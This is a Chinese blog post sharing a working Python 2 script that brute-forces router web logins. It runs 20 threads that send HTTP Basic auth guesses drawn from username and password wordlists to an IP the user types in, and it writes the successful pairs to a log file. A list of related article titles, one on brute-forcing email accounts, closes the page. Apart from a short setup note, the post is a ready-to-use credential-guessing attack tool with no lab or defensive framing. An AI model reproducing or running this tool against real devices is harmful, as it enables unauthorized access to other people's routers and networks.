python实现多线程暴力破解登陆路由器功能代码分享
2015-01-04 00:00
1091 查看
运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread): def __init__(self,queue,passwd): threading.Thread.__init__(self) self.queue=queue self.passwordlist=passwd def run(self): self.user=queue.get() for self.passwd in self.passwordlist: request = urllib2.Request("http://"+target) psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) fp3 = open('log.txt','a') fp3.write(self.user+'||'+self.passwd+'\r\n') fp3.close() except urllib2.HTTPError: print "[-]password:%s Error!" % (self.passwd) if __name__ == '__main__': print ''' ####################################################### # # # Routing brute force tool # # # # by:well # # # ####################################################### ''' passwordlist = [] line = 20 threads = [] global target target = raw_input("input ip:") fp =open("user.txt") fp2=open("passwd.txt") for user in fp.readlines(): queue.put(user.split('\n')[0]) for passwd in fp2.readlines(): passwordlist.append(passwd.split('\n')[0]) #print passwordlist fp.close() fp2.close() for i in range(line): a = Rout_thread(queue,passwordlist) a.start() threads.append(a) for j in threads: j.join()
相关文章推荐
- python实现多线程暴力破解登陆路由器功能代码分享
- python构造icmp echo请求和实现网络探测器功能代码分享
- python实现的登陆Discuz!论坛通用代码分享
- python构造icmp echo请求和实现网络探测器功能代码分享
- python实现的登陆Discuz!论坛通用代码分享
- 40行python代码,搭建一个网站并实现用户登陆功能(附源码下载)
- Python实现在线暴力破解邮箱账号密码功能示例【测试可用】
- 一些具非常有用源代码分享(百度指数破解(最新版),NDIS实现类似P2P终结者功能代码,GOOGLE在线翻译等等)
- 【源码】实现Android闹钟功能使用HTML+JS,并附带Alarm代码分享
- 翻译文章“AST 模块:用 Python 修改 Python 代码”---!!注意ironpathyon未实现此功能
- Android 实现分享功能代码
- python实现异步回调机制代码分享
- python实现异步回调机制代码分享
- 基于php&mysql实现聊天室功能的代码实例分享
- Android开发之使用SharedPreferences实现QQ登陆的选项框记忆功能(源代码分享)
- js实现弹窗插件功能实例代码分享
- Python模拟登陆新浪微博并实现投票功能